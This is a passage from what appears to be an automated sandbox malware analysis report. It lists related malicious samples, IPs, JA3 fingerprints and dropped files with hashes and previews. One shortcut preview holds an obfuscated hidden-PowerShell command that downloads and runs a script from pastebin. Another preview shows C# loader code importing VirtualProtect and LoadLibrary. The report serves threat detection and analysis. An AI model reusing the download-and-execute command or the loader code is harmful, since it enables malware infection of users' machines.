	https://ghgeacb.r.bh.d.sendibt3.com/tr/cl/9i6x1nV2FKKN7vq8mr3OOEBBJCa885_P6VOZmrd6IAYZGxQqgx9-g2thnbfEyM7jcWMQq10DSkzoGE3hrRIOhqWmDMPB-v-Vs_HL2v8poWMBuT3diKJIsJCPnKr9QKNE7_LQcdnWzzdGVm3zkkF8zFTuvWpKy9uYId6Fqvw2hXfQsOcPQhS-r0DxYjl5NQ8-Qb21PAbLEM_Rbhi2eb4YBhrAe2x12cQGxRcawRCOj3pfpwGLu7SYcJdrZL0t9GyigTigzg3YlzmaeYqZCQsLc2qAheh9wzUxvw	Get hash	malicious	Unknown	Browse	188.114.96.3
CLOUDFLARENETUS	gabe.ps1	Get hash	malicious	Unknown	Browse	104.20.4.235
	aidjBV.ps1	Get hash	malicious	Unknown	Browse	162.159.135.232
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	162.159.138.232
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	162.159.136.232
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	162.159.135.232
	cyCsE47YV3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	RemotePCViewer.exe	Get hash	malicious	Unknown	Browse	172.67.37.123
	https://ghgeacb.r.bh.d.sendibt3.com/tr/cl/9i6x1nV2FKKN7vq8mr3OOEBBJCa885_P6VOZmrd6IAYZGxQqgx9-g2thnbfEyM7jcWMQq10DSkzoGE3hrRIOhqWmDMPB-v-Vs_HL2v8poWMBuT3diKJIsJCPnKr9QKNE7_LQcdnWzzdGVm3zkkF8zFTuvWpKy9uYId6Fqvw2hXfQsOcPQhS-r0DxYjl5NQ8-Qb21PAbLEM_Rbhi2eb4YBhrAe2x12cQGxRcawRCOj3pfpwGLu7SYcJdrZL0t9GyigTigzg3YlzmaeYqZCQsLc2qAheh9wzUxvw	Get hash	malicious	Unknown	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	gabe.ps1	Get hash	malicious	Unknown	Browse	104.20.3.235 162.159.138.232 185.199.109.133
	aidjBV.ps1	Get hash	malicious	Unknown	Browse	104.20.3.235 162.159.138.232 185.199.109.133
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	104.20.3.235 162.159.138.232 185.199.109.133
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	104.20.3.235 162.159.138.232 185.199.109.133
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	104.20.3.235 162.159.138.232 185.199.109.133
	na.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	104.20.3.235 162.159.138.232 185.199.109.133
	cyCsE47YV3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.20.3.235 162.159.138.232 185.199.109.133
	z7NLXIia8r.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.20.3.235 162.159.138.232 185.199.109.133
	wbxZk3AvuB.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.20.3.235 162.159.138.232 185.199.109.133
	3ckUhKW8W6.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.20.3.235 162.159.138.232 185.199.109.133

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	xK44OOt7vD.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\Backend.dll	xK44OOt7vD.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Archive, ctime=Sat May 7 04:20:03 2022, mtime=Mon Sep 9 22:58:05 2024, atime=Sat May 7 04:20:03 2022, length=69632, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	4.527272298423835
Encrypted:	false
SSDEEP:	24:8MBsCCbRKrzcAJBkr+/4MsPsiqxlD2uxmCnBuG4aVlilzXQaR3+hab/Ia7/OB+/q:8zD6JUUPx2uxFu+LozXv3KabINBY0
MD5:	724AA21828AD912CB466E3B0A79F478B
SHA1:	41B80A72CE8C2F1F54C1E595872D7ECD63D637CD
SHA-256:	D675147502CF2CA50BC4EC9A0D95DED0A5A8861BEC3D24FCD9EDD3F4B5718E70
SHA-512:	B88218356ABF805B4263B0960DC6D0FBEC47E2135FA74839449CA860F727D54A1014062C9E7DB0652E81C635C8C0C177B47326DADAF3AE34ED058FA085F1E98C
Malicious:	true
Preview:	L..................F.... ...\|%h..a.........\|%h..a..........................E....P.O. .:i.....+00.../C:\...................V.1......Y..0.Windows.@......T,)Y................................W.i.n.d.o.w.s.....Z.1.....$Yh...System32..B......T,)Y......L_.....................!.S.y.s.t.e.m.3.2.....f.2......T.* .forfiles.exe..J......T.*)Y.....A...........t..........t..f.o.r.f.i.l.e.s...e.x.e.......V...............4.......U...........`8......Windows.C:\Windows\System32\forfiles.exe..&.....\.....\.....\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.f.o.r.f.i.l.e.s...e.x.e.../.p. .c.:.\.w.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2. ./.m. .n.o.t.e.p.a.d...e.x.e. ./.c. .".p.o.w.e.r.s.h.e.l.l...e.x.e. .-.c.o.m.m.a.n.d. .p.o.w.e.r.s.h.e.l.l. .-.w.i.n.d.o.w.s.t.y.l.e. .h. .-.c.o.m.m.a.n.d. .'.s.a.l. .f.a.t.b.a.k.e. .c.a.l.c.;.s.a.l. .c.a.l.l.i.t. .i.E.x.;. .s.a.l. .$.e.n.v.:.o.s. .i.W.r.;. .c.a.l.l.i.T.(.W.I.N.D.O.W.S._.N.T. .p.a.s.t.e.b.i.n...c.o.m./.r.a.w./.s.A.0.4.M.w.k.2. .-.u.s.e.b.a.s.i.c.p.a.r.s.i.n.g.).'."..

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067022986836794
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqn:2JIB/wUKUKQncEmYRTwh07
MD5:	18E9D86CE6FBC4D5D2589CD7D5584584
SHA1:	04B356C17E7C062C0C11C1F4616677F933FBD195
SHA-256:	47E89C562DBD9A3DC809886C45FFE61234FA412AA151DFA270211C1395F34D75
SHA-512:	E125B56F34629D90E18161D87EB7DD92B24E4041285703575308EA495838BAA42E1CCE42399A27737D3894479CFC9CB2517F9A2B23F37618973FB463A56A8426
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe0fbb24a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900027763263399
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:bazaPvgurTd42UgSii
MD5:	284F6EBE92B12F4DDD42E885932442EE
SHA1:	5217A322509A111EDB8DA2926C3CBE287DE41046
SHA-256:	466C0FF1F99FB76A1C9F7C98068CB851D4CA51E0631AA40D095A9A9D368AC5B9
SHA-512:	071A61C8BE9BB17883DE6ED3C4C401B813275D46C5BF7B61577E331AFED4F26B9516E8B8D6C2AD8DAFD47DD6100C7B02EF5FCBB016288F6C75E879FA751A285E
Malicious:	false
Preview:	...J... ...............X\...;...{......................0.`.....42...{5......\|..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................i^.......\|...................E.B.....\|...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08217889886404028
Encrypted:	false
SSDEEP:	3:LIkYeeHUZqtD1t/57Dek3JV0Zqj/AllEqW3l/TjzzQ/t:zzmUUDHR3tV0C/Amd8/
MD5:	8A0B2F596B402D13EE95117DF7281AF0
SHA1:	DEFAF856E78A17C583C3238AE5B484B4EE056690
SHA-256:	A677487115DA8836FA84A664A32AEDDE9D58F5AC5BC371AE0B4D717E63C7657D
SHA-512:	57FD93D4AA9024CB740F6DA9823A416CAA8BC0FDA859D903521A6360F9515E0A415CA95B63FE721F119E16AD19A24C1E705AD607252DE900A4AB11734D894156
Malicious:	false
Preview:	.c.9.....................................;...{.......\|..42...{5.........42...{5.42...{5...Y.42...{59.................E.B.....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul9p:NllU9
MD5:	A9A0CCA1C30EF3D233EAD1A8B1C0C996
SHA1:	862BE22EFDC58CDBD36D6FC520D0AADC2CA7F721
SHA-256:	A38EFCDB0157A93B27DC080CD343ECC8464393A34C92600049AD3EA0F7EA34C2
SHA-512:	6F2AE9D31A54F7812D289D4C855DFBE68A55950E5E75314A4BAAAB9D100101A14832CD1F04CEF612C0BA797AB7A783641E867CAA2BA1F221C170F81392BDC2CB
Malicious:	false
Preview:	@...e...............................R.3..............@..........

C:\Users\user\AppData\Local\Temp\Backend.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	5.733195715654648
Encrypted:	false
SSDEEP:	384:d+NjrSvLsSPa/1ZX3ohNQGDYOMg3P2SFZ2W1whvMDNGeSeu6dt3YXvu6:cpSvLQbOMgOSuQwRMRGe3deXvu6
MD5:	228092BB00D909AEE1F694A26074CB57
SHA1:	E409B75364693456006CADF61F2A5DDEF311ED0E
SHA-256:	05FF6FB5A27E37AAB0269106830A0E1A56C709428AB130BBDDEFF737452E6FE3
SHA-512:	3B714852BEB607C1EE394613E5974131CE7617C8E34E808F81DF4382ADC62CD61A81A0CFBA5019F9D40A8F38171A4E1FD75137529CEE4896FD10F55912E23E3C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: xK44OOt7vD.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z.X..............F.....L.......L.......L.......L...................Y.....................*.............Rich............PE..d......a.........." .....J...4.......L..........Bi7.......................................`..........................................t..H....v.......................................d..T...........................Pe..8............`..0............................text...!H.......J.................. ..`.rdata.......`... ...N..............@..@.data................n..............@....pdata...............r..............@..@.rsrc................x..............@..@.reloc...............z..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RESD0F0.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols, created Tue Oct 15 18:08:04 2024, 1st section name ".debug$S"
Category:	modified
Size (bytes):	1340
Entropy (8bit):	4.0357826759451925
Encrypted:	false
SSDEEP:	24:HeK9o0Uk/lpZHHwKOZmNeI+ycuZhN8akSIPNnqSed:c0HlpZwKOZmw1ul8a3wqS+
MD5:	4ADBD2A8BD40228CAB9868D29D8B5457
SHA1:	3FA0F0BA24B1211BC95BAEF5985ADEE957C51095
SHA-256:	88811D705F6E2835884020725CD9EA2800563859757239A6E397AD07C3923244
SHA-512:	42B949649CA0C5965B1A40717B9E0CEB269E407781233ABE7A12B2FC92F8D7380FCDC7562BF322EBE8FBD41701891597115DCA3F89CE0A2493626D9AD366FECA
Malicious:	false
Preview:	L......g.............debug$S........X...................@..B.rsrc$01........X.......<...........@..@.rsrc$02........P...F...............@..@........X....c:\Users\user\AppData\Local\Temp\dwdaoju2\CSC6D3B5E607DDC4941A0658A6CD27B5246.TMP...................v.[..................7.......C:\Users\user~1\AppData\Local\Temp\RESD0F0.tmp.-.<....................a..Microsoft (R) CVTRES.b.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe..............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...d.w.d.a.o.j.u.2...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....

C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	56320
Entropy (8bit):	2.33688169239766
Encrypted:	false
SSDEEP:	384:fcSG5Fnm1dQ1ej1YFmq/KFnp4H7OIcu7VYSEtuhjRTK6xZbkvwKwq6uiPmo/PmU:kvUdacFnp67ONu7xEW1XxeseU
MD5:	BECD67D75C5E7C2411E9F481086CA1E0
SHA1:	F7F5F1A3AFB7E3454797B2CAD62D298BB1B20345
SHA-256:	E87B1FCB789B6957B5C99A1393738E928D3918F1E46DB20F761D57AD015AA385
SHA-512:	D86DA68BA9BD3C992B33C99A3B96DFFEA3032E9B769A91A7FED33EC654E48A61A6E6715C630080D5D5E6390F4FC09B398111EAAAD60E3304B552DD0AC353B67E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: xK44OOt7vD.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................."...0......T........... .....@..... ....................... ............`...@......@............... ...................................R........................................................................................... ..H............text........ ...................... ..`.rsrc....R.......T..................@..@........................................H........2...#......!....U...O............................................(....6.(.....( .....(.....(.....(....,..(.....{....r...po.....{....o.....0..I........{....o........(.......(.....(Y(.......(.......(.....LY(.....{.....o....z(....,..{....o.....{....o....J.{....o.....(......{....r9..po....(.....{....o........0..F.......(......,<.{....o......3..{....rc..po....+..{....rq..po.....{....o....*...0..y.........s ...%%o!...j(....o".....o#...,J.r...p($...-..r...p($...-".r...p($

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eyqhqzsr.epu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fgyrgpq4.r4l.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hzfvsgre.iwh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3yvnkqr.fyx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ml00m1au.afz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_njkgahzq.p3d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_upqj4utt.wdr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vvupmdv5.5kq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wbcen20d.0uz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wqazm4tv.zrs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\dwdaoju2\CSC6D3B5E607DDC4941A0658A6CD27B5246.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1077875425013333
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryHqak7YnqqqbPN5Dlq5J:+RI+ycuZhN8akSIPNnqX
MD5:	02B6EC83D076115BCF17D30BFA17F9BD
SHA1:	43C07E59B7615BEB6B9F61626558816D3F01C620
SHA-256:	C2D325F642CA92E4254ED38C8A94DDB1126832B1B7F786B9BFDEBBCCEF979BC6
SHA-512:	D14587521C3132594868F5A1F243F9E474C01FD6A35581C7ACF4A0C314D15039145F06FF40B7397EF07DDC83F94F1A47B8FCC39F2C52D5CA4788C6EEB77A2133
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...d.w.d.a.o.j.u.2...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...d.w.d.a.o.j.u.2...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline

Download File

